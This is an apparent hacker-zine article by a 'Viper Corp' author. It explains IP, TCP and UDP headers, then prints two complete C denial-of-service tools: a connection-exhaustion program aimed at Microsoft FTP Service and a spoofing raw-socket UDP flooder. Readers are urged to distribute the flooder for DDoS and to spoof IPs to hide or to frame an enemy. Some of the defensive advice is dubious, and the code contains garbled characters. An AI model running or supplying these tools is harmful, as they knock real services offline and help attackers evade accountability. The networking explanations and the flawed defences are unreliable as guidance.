"We are safe in this old storm Close to the land but you know Nothing is so calm to everyone. I look at myself for something new Tell me a little tale about you Life is just a rhyme of hopes and crimes. Better years are coming. Not in my hand just in my heart Lay the will I have inside For all I want, what I feel Sister moon Brother sun Yesterday I was alone..." -- The spreading soul Album: Evolution 1992 (Viper) I. Introduction II. Requirements III. The storage of data on TCP/IP IV. Understanding the kinds of socket 1. UDP Module - User Datagram Protocol [SOCK_DGRAM] 2. TCP Module - Transmission Control Protocol [SOCK_STREAM] V. Launching the attack VI. Prevention VII. Useful links and references ---=[ I. Introduction This is my first contribution to the PHRack Magazine, I'm founder of the Viper Corp, specialist in DoS, that's my passion; I'm Brazilian as you can see in my references, I'm writing this brief text for you today to demonstrate the importance of good measures of security against Remote Denial of Service. I dedicate this document mainly to my girlfriend and to my friends Jeremy Brown, Coideloko, str0ke, Dark_Side, AciDmuD, BSDaemon, maddog, F3rGO, 3l m4sturb0y, la kceterah, Knight Lightning and to all PHRack Staff. I've been writing this text in an easy language in order to allow easy reading to all my Brazilian fellows students of english (U.S.A.) like me. This text contains a routine created by me, an universal exploit able to block any daemon or service in the internet firstly exposed in one of the most read papers I wrote, that routine was originally written to the immortal [3]packetstormsecurity in brazilian portuguese (pt-br) and published at milw0rm in the early 2009 by str0ke. ---=[ II. Requirements Before starting the reading of this article you need to understand a little about socket programming in C language on the platforms Unix based (optional in this case) and W32, previous knowledge about Open System Interconnection model and Transmission Control Protocol / Internet Protocol model and its corresponding modules too. ----[ III. The storage of data on TCP/IP When the first module of the 'TCP/IP' receives the ethernet frame (eth0) or data across the another kind of transfering it holds informations about the source in the layer 'Internet' in the receiving procedure, and after that the stream go to the next module, in order to reach the final layer on the TCP/IP stack, the Application Layer, which reads the payload sent by the client-side application. Between that informations stored in the first module you can see the source address properly said (the address of the sender), remember that because of the danger. Every module stores determined number of bytes refering to it and sends the remaining of this packet to the segment above. Header IP version 4 Defined in: /usr/include/netinet/ip.h (Linux Debian) +--------------^-------------^-------------------------^------------------^ | - Versao - | - IHL - | - ToS Type of Service - | - Total length - | | [ Version ] | [ IHL ] | [ ToS ] | [ tot_len ] | | [4 Bits] | [ 4 Bits ] | [ 8 Bits ] | [16 Bits] | +-------------------------------------------------------------------------+ | - Identification - | - Flags - | Fragment offset | | [ ID ] [ 16 Bits ] | [ 3 bits ] | [ frag_off ] [13 bits] | +-------------------------------------------------------------------------+ | - Time to Live - | - Protocol - | - Checksum do header IP - | | [ ttl ] [8 bits] | [ Protocol ] [ 8 bits ] | [ check ] [16 bits] | +-------------------------------------------------------------------------+ | - Endereco de origem (Source Address) - | | [ saddr ] [ 32 bits ] | +-------------------------------------------------------------------------+ | - Endereco de destinacao. (Destination Address) - | | [ daddr ][ 32 bits ] | +-------------------------------------------------------------------------+ | - Options - | Padding | | [ 24 bits ] | [ 8 bits ] | +-------------------------------------------------------------------------+ | | + - DATA - + | | +-------------------------------------------------------------------------+ struct iphdr { #if __BYTE_ORDER == __LITTLE_ENDIAN unsigned int ihl:4; unsigned int version:4; #elif __BYTE_ORDER == __BIG_ENDIAN unsigned int version:4; unsigned int ihl:4; #else # error "Please fix " #endif u_int8_t tos; u_int16_t tot_len; u_int16_t id; u_int16_t frag_off; u_int8_t ttl; u_int8_t protocol; u_int16_t check; u_int32_t saddr; u_int32_t daddr; /*The options start here. */ }; As you can see this header only can be read by the "Internet" module on TCP/IP model, because of the next segments aren't refering to it, like UDP segments which contains source port and destination port. Defined in: /usr/include/netinet/udp.h (Debian linux) struct udphdr { u_int16_t source; u_int16_t dest; u_int16_t len; u_int16_t check; }; ^------------------------^-----------------------^ | - Source port - | - Destination port - | | [source] | [dest] | | [ 16 bits ] | [ 16 bits ] | +------------------------+-----------------------+ | - Size of the header - | - checksum - | | [len] | [check] | | [ 2 bytes ] | [ 2 bytes ] | +------------------------+-----------------------+ | | | - Data - | | | | | +------------------------------------------------+ We also still can use remote denial of service using UDP stream, because of the data like source address need to be stored to send error ICMP replys if necessary, for instance a message 'Port unreachable' if there is not any application in listening in the local machine specified in the segment "Destination Port" into the packet received, but usually using 'UDP' stream shall be called "flood" that kind of DoS utilized, instead the blocking what happens is the destruction of the connection on the victim's machine, but as we are intelligent men we can block determined services. It's incredible the facility we can destroy a connection using flood, you just need to have more link than the victim and a good elf like the Emperial Flooder, good connections to domestic users (usually children) are often today, as rapid as dangerous are these rapid links, so much preocuppation to us security analysts when our company has less link than script kiddies around the world. With TCP we can easily restrain access to any server from a true client as you will see below. ----=[ IV. Understanding the kinds of socket As I said in the beginning, the source address is stored and after that the stream follows to the next module in order to reach the final layer, thus the payload can be read by the final layer (the application running) of the TCP/IP stack. This feature of the TCP/IP will be used by us against the host machine. These are simple analogies in ring3 to facilitate your learning as you can notice. In a "kernel-land language" we can say that when you set up a limit of connection the kernel reserves determined number of bytes in order to hold the limit according to the size of the each segment like TCP, UDP and IP for each already established connection. [----------------------------] | Application Layer | | Payload/Data | /\ [----------------------------] /__\ | Transport Layer | || | TCP - UDP - RAW []------ > Kinds of socket || [----------------------------] || | Internet Protocol Module | || | [network - OSI] | || | [Internet TCP/IP] | || [----------------------------] || | []------ > Addres Resolution || | Data Link (OSI) | Protocol - ARP || |[Access to network - TCP/IP]| || [----------------------------] || | Network interfaces | | [ATN - TCP/IP model] | the data flood | [PHYSICAL - OSI model] | +----------------------------+ 1. UDP Module - User Datagram Protocol [SOCK_DGRAM] When you use UDP socket the remote TCP stack stores the segments in the layer "Internet" ('TCP/IP' model) and sends the data/payload to the next module/layer above, if there's the requested port in listening on the local machine the server application will read the data sent, the data that were stored in the last layer (the source address) are completly destroyed after that, but if the TCP stack can not find the destination port the source address stored into the internet layer will be used to transmit the ICMP message "Port unreachable" (which describes the error) to the attacker. 2. TCP Module - Transmission Control Protocol [SOCK_STREAM] With this kind of socket we wait for packets containing replys sent by the Application Layer. The stream is connected. Chat programs like MSN work on the Application Layer, receiving and sending replys in ASCII across the layers. With this kind of socket the source address (stored in the Internet Layer) is frequently checked in order to send replys by the application. The Transport Layer stores the number of the TCP port used to establish the connection with the program running on the next layer and holds the number of the source port used to receive data on the client machine. There are some services like Microsoft FTP service which are able to determine a specific number of connections, do *NOT* set it, undetermined number of connection is the best solution against DoS, now you know why... if theres not limit for storing the resources of your operating system like Random Access Memory are used to prevent Denial of Service (this method is described below). ----=[ V. Launching the attack You know what happens when we establish a connection, simply are stored in memory/kernel bytes refering to the client of the connection. For each socket created in the remote kernel are stored bytes refering to the data which will be used, what we can do is to fill the limit of connection/bytes on the remote kernel in order to block the connection by the true client with the routine created by me. As you can notice this text is just to show it. The program described below uses the function 'connect()' in a routine able to connect many times on the daemon and never close that connections, without using the function 'close()'. This Proof of Concept was written for malicious activities (previous knowledge about your victim is necessary). Portuguese version at the time of this writing, the routine is so much easy to understand, the translation isn't important. -- obstruder.c -- /* * * ======================================== * * ++++++ CORPORACAO VIBORA ++++++ * * * A cena Hacker Underground Brasileira * * ======================================== * * Obstrutor v1.5 - by 6_Bl4ck9_f0x6 * Para windows - Microsoft FTP Service * * * Exploit against * * Microsoft FTP Service * * * But you can test it against other daemon * That's called Blind Remote Denial of Service * * I offer this PoC to my girlfriend (I love you darling) * */ #include #include #include #include #include #define FUCK -1 #define CLEAR memset (&(scan.sin_zero), 0x00, 0x08); void banner (){ int xct=0; unsigned char *obstr1[]={ "Obstrutor v1.5 - Obstrutor de servico[s]", "6_Bl4ck9_f0x6 - (C) Copyright Viper Corp", " Microsoft FTP Service.\n"}; while (xct != 3){ puts (obstr1[xct]); xct+=1;} } WSADATA data; SOCKADDR_IN scan; int conexoes, cctc; struct hostent *host; char choice, rcv[1500]; void obstrud (void){ int obstrui=1; int sock[conexoes]; while (obstrui != conexoes){ sock[obstrui]=socket (PF_INET, 1, 0); if ((cctc=connect (sock[obstrui], (struct sockaddr *)&scan, 16)) == FUCK ){ if (obstrui == 1){ fprintf (stderr, "Porta [%d] fechada\n", ntohs (scan.sin_port)); exit (FUCK);} break;} else if (cctc != -1){ memset (&(rcv), 0x00, sizeof (rcv)); recv (sock[obstrui], rcv, sizeof (rcv) -1, 0); if (strncmp (rcv, "421 5", 5) == 0){ printf ("\n [Limite de conexoes alcancado]\n\n"); break;} } system ("cls"); fprintf (stdout, "[%d] Conexoes estabelecidas na porta [%d]\n", obstrui, ntohs (scan.sin_port)); ++obstrui; } } main (int argc, char **argv){ if (argc != 4){ system ("cls"); banner (); fprintf (stdout, "Uso: %s \n", *(argv+0)); exit (FUCK);} WSAStartup (MAKEWORD (1,1),&data); scan.sin_family=AF_INET; scan.sin_port=htons (atoi (*(argv+2)) ); if ((scan.sin_addr.s_addr=inet_addr (*(argv+1))) == INADDR_NONE){ if ( (host=gethostbyname (*(argv+1))) == NULL){ fprintf (stderr, "Nao consegui resolver host!\n"); exit SOCKET_ERROR;} memcpy (&(scan.s?n_addr.s_addr), host->h_addr, host->h_length); } CLEAR conexoes = atoi (*(argv+3)); obstrud (); do { printf ("\n=======================================\n"); puts ("[Servico obstruido com sucesso!]"); puts ("[Se quizer liberar o servico tecle 'l']"); printf ("=======================================\n"); system ("color 02"); choice=getch ();} while (choice != 'l'); return 0; } -- cut -- First step Microsoft Windows XP [versão 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\David>call Obstruder.exe Second step Obstrutor v1.5 - Obstrutor de servico[s] 6_Bl4ck9_f0x6 - (C) Copyright Viper Corp Microsoft FTP Service. Uso: Obstruder.exe C:\Documents and Settings\David>call Obstruder.exe localhost 22 23 '' means victim. The final result: [20] Conexoes estabelecidas na porta [22] [Limite de conexoes alcancado] ======================================= [Servico obstruido com sucesso!] [Se quizer liberar o servico tecle 'l'] ======================================= [20] Twenty connections established in the port [22] [Limit of connections reached] The other message isn't important to us now, is just a message saying that if you want to free up the remote service you may do that by typing 'l' . My ftp service is running on the port twenty-two, change the default ports, use higher ports like 3564 or 4566 and change banners, that are excellents measures of security against port scanners like [6]Emperial Scanner. The limit of connections allowed in the remote service also was correctly showed by the exploit, it can be useful for you (of course). Microsoft Windows XP [versão 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\David>ftp ftp> open Para localhost 22 Conectado a Violator. 421 5 Conexão terminada pelo host remoto. ftp> You can adapt my program freely if you want to block any other service. Using the Obstruder.c against daemons running on FreeBSD for exemple or other kind of Unix, you will not have any guaranty in the attack because of the verification routine, but as you are programmer (of course) you can modify my source code according to your necessities. As you can notice the exploit verifies the reply sent by the remote service in ring3: recv (sock[obstrui], rcv, sizeof (rcv) -1, 0); if (strncmp (rcv, "421 5", 5) == 0){ printf ("\n [Limite de conexoes alcancado]\n\n"); You can write a program for determined actions according to the answers sent by the service on the remote machine. A list more complete of available replys can be found in the following line: 200 Command OK That means that the command was executed without error. 500 Syntax error, command unrecognized. 501 Syntax error in parameters or arguments. 202 Command not implemented, superfluous at this site. 502 Command not implemented. 503 Bad sequence of commands. 504 Command not implemented for that parameter. 110 Restart marker reply. 211 System status, or system help reply. 212 Directory status. 213 File status. 214 Help message. 215 NAME system type. 120 Service ready in nnn minutes. 220 Service ready for new user. 221 Service closing control connection. 421 Service not available, closing control connection. 125 Data connection already open 225 Data connection open 425 Can't open data connection. 226 Closing data connection. 426 Connection closed 227 Entering Passive Mode (h1,h2,h3,h4,p1,p2). 230 User logged in, proceed. 530 Not logged in. 331 User name okay, need password. 332 Need account for login. 532 Need account for storing files. 150 File status okay 250 Requested file action okay, completed. 257 "DIRETORIO" created. 350 Requested file action pending further information. 450 Requested file action not taken. 550 Requested action not taken. 451 Requested action aborted. Local error in processing. 551 Requested action aborted. Page type unknown. 452 Requested action not taken. 552 Requested file action aborted. 553 Requested action not taken. ----=[ VI. Prevention The best method to prevent DoS is to set up your daemon in order to allow unlimited number of connections. You can write a sniffer able to alert DDoS attacks and set instantaneously the timeout of the services running on your machine (using a simple bash script for example) in order to free up the resources of the your machine keeping it alive more time because the data of connection will not occupy local memory, or can let an exclusive service with the normal timeout to permit the connection by the true client (if there's not a especific service being target on your machine by the slave daemons controlled by the master application) and give exclusive attention to it while you set up the ettercap to redirect the attack (the requests to the machine which there are some "available" services) to another address on the demilitarized zone using DNS spoofing and arp poisoning in order to let the service running. That theoretic basements are extremely useful, I'll not talk about routers, intelligent preventions against syn flood and examples in ring0 in this issue because of the time. There's some videos in a public server created by me in Brazil[8] just to distribute underground files which you can see the efficacy of this methods. You need to have many Random Access Memory in order to prevent *crash* by congestion of resources, Distributed Denial of Service is very dangerous. The speed of the connection *from the attacker* determines the processing of your machine, for that you need to have good memory modules and a good link. If the requested UDP port by the slaves/attacker wasn't found your machine will work to send replys ICMP echo as you know. Logs generated by the sniffer Ethereal: +----------------+------------+--------------+--------+-------------------+ |No. | Time | Source | Destination |Protocol|Info | +----------------+------------+--------------+--------+-------------------+ | 3 | 7.391731 |192.168.1.2 | 192.168.1.1 | ICMP |Echo (ping) request| +----+-----------+------------+--------------+--------+-------------------+ | 4 + 7.391770 |192.168.1.1 | 192.168.1.2 | ICMP |Echo (ping) reply | +----+-----------+------------+--------------+--------+-------------------+ The excessive number of replys will overflow the resources of the machine. If the attacker to use a good connection the victim can not send replys according to the requests and the resources are totally used, for that reason never allow your firewall to send ICMP echo replys, thus the machine will not work excessively during the attack. You can see easily the address of the attacker using a sniffer, to avoid being identified use flooders/slaves able to hide the attacker or able to incriminate your enemy using the old IP Spoofing. The firewall unable to send ICMP echo reply also is invulnerable to Smurf Attacks which the attacker send many ICMP echo requests to private broadcast addresses using the IP of his enemy in order to do the icmp echo reply be sent by the remote network against our enemy that probably will be *crashed*. ICMP replys also are sent across the TCP as you know ;) Compile the source code below and after that distribute to your friends in order to do Distributed Denial of Service against some remote host. -- cut this file here -- /* * * ======================================= * ++++++ CORPORACAO VIBORA ++++++ * A cena Hacker Underground Brasileira * ======================================= * * Emperial Flooder[UDP] v2.1.2 * for "Unix/Linux" users rulez! * * * Simple UDP Flooder coded by 6_Bl4ck9_f0x6 * * Thanks to: UnixTextMode(UTM), VonNaturAustreVe, * @lyxx, Deborah, Marcos Flavio (A.k.a: Sombrio), * maddog, xschooler, Dark_Side, Little Witch [s], * F3rGO, Jose Leite de Siqueira (A.k.a: Diogao ;) * lah de Quixeramobim - Brazil, AciDmuD, VooDoo, * Cheat Struck and to all my fellows * * * * []`s * * */ #include #include #include #include #include #include #include #include #include #include #include #include #define MAXIMUM_TRANSMISSION_UNIT 1500 #define PRINT printf struct iphdr ip_rlz; struct udphdr udp_rlz; struct sockaddr_in Vitima; struct hostent *host; typedef unsigned char Viper_Corp_Rulez; Viper_Corp_Rulez pacote[MAXIMUM_TRANSMISSION_UNIT]; int SoCk, uid=0, indice=0, msg_s=0, XSS, x=1, bytes_send; char * ip_origeM; char * ip_destinO; int port_origeM; int port_destinO; void send_UDP (); int banner (); int main (int argc_rulez, char *Matrix[]){ if (argc_rulez < 7){ banner (); fprintf (stdout, "\nUse: %s \ \n\n", *Matrix); exit (-1);} uid=getuid (); if (uid != 0){ fprintf (stderr, " \n[Your UID: [%d]. You need to be root\ if you want to use Raw Sockets]\n\n", uid); exit (-1);} if ( (SoCk=socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1){ fprintf (stdout, "Erro ao criar socket\n"); exit (-1);} int num_msg_s; num_msg_s=atoi (Matrix[6]); ip_origeM=Matrix[1]; ip_destinO=Matrix[2]; port_origeM=atoi (Matrix[3]); port_destinO=atoi (Matrix[4]); char *msg;msg=Matrix[5]; bzero (pacote, MAXIMUM_TRANSMISSION_UNIT); ip_rlz.version=4; ip_rlz.ihl=5; ip_rlz.tos=0; ip_rlz.id=htons (666); ip_rlz.ttl=255; ip_rlz.frag_off=0; ip_rlz.check=0; ip_rlz.protocol=IPPROTO_UDP; ip_rlz.saddr?inet_addr (ip_origeM); ip_rlz.daddr=inet_addr (ip_destinO); ip_rlz.tot_len=htons (sizeof (struct iphdr) + sizeof (struct udphdr) + strlen (msg)); udp_rlz.dest=htons (port_destinO); udp_rlz.source=htons (port_origeM); udp_rlz.len=htons (sizeof (udp_rlz) + strlen (msg)); Vitima.sin_family=AF_INET; Vitima.sin_port=udp_rlz.dest; Vitima.sin_addr.s_addr=ip_rlz.daddr; memcpy (&pacote, &ip_rlz, sizeof (struct iphdr)); indice=indice + sizeof (struct iphdr); memcpy (&pacote[indice], &udp_rlz, sizeof (struct udphdr)); indice+= sizeof (udp_rlz); memcpy (&pacote[indice], msg, strlen (msg)); indice+= strlen (msg); for (x;x <= atoi (Matrix[6]);x+=1){ send_UDP (); msg_s++;} close (SoCk); PRINT ("\n--- Estatisticas e infos do ataque -------------\n\n"); PRINT ("Number of bytes sent: [%d]\n", (strlen (Matrix[5]) * msg_s)); PRINT ("----------------------------------------\n"); return (0); } void send_UDP (){ if ((XSS=sendto (SoCk, pacote, indice, 0, (struct sockaddr *)&Vitima, sizeof (struct sockaddr_in)) ) == -1){ fprintf (stdout, "%s", strerror (errno)); exit (-1);} } int banner (){ int cOc=0; system ("clear"); char *banner[]={ "[=] + ===========[####]============ + [=]\n", " *** Emperial Flooder[UDP] *** \n", " XxX VIPER CORP GROUP XxX\n", " <-> Underground Max <->\n", "[=] + ==========[####]============ + [=]\n\n"}; while (cOc != 5){ printf ("%s", banner[cOc]); ++cOc;} return 0;} -- cut here -- ---=[ VII. Useful links and references O Guia do Raw Socket e Ataques em Ambientes de Rede by Sandimas and Hash [0] - http://www.thebugmagazine.org/magazine/bug02/0x06_raw.txt Berkeley Socket in C for *nixes and Linuxes - chapter [0x04] [1] - http://packetstormsecurity.org/mag/vipercorp/vcc-0x01.txt Understanding a little about OSI and TCP/IP models - chapter [0x08] [2] - http://packetstormsecurity.org/mag/vipercorp/vcc-0x01.txt Brazilian portuguese version of this article [3] - http://www.packetstormsecurity.org/papers/attack/ amenizando-servico.txt The video showing in real time all the action - Blind DoS [4] - http://undergroundsecurityresources.blogspot.com/2009/11/ eu-quero-eh-ver-o-oco.html Emperial Flooder[UDP] v0.5 (old version) with a demonstrative video [5] - http://undergroundsecurityresources.blogspot.com/2010/05/ emperial-flooderudp-v05-old-version.html Emperial[ScanneR] v1.0 |Identifying banners and services on strange ports [6] - http://www.hunterhacker2.xpg.com.br/EmperialScanner.htm RFC 959 and Fatal 3rror zine Chapter 06 Protocolos Parte III by pcHazard [7] - http://www.hunterhacker2.xpg.com.br/f3-06.zip Some underground videos - Warning: We use excessive sarcasm (our culture) [8] - http://www.hunterhacker2.xpg.com.br/videos.htm ****************************************** * We are strong because we are United... * ****************************************** David Diego D. Firmino Siqueira []`s by 6_Bl4ck9_f0x6 - Viper Corp Group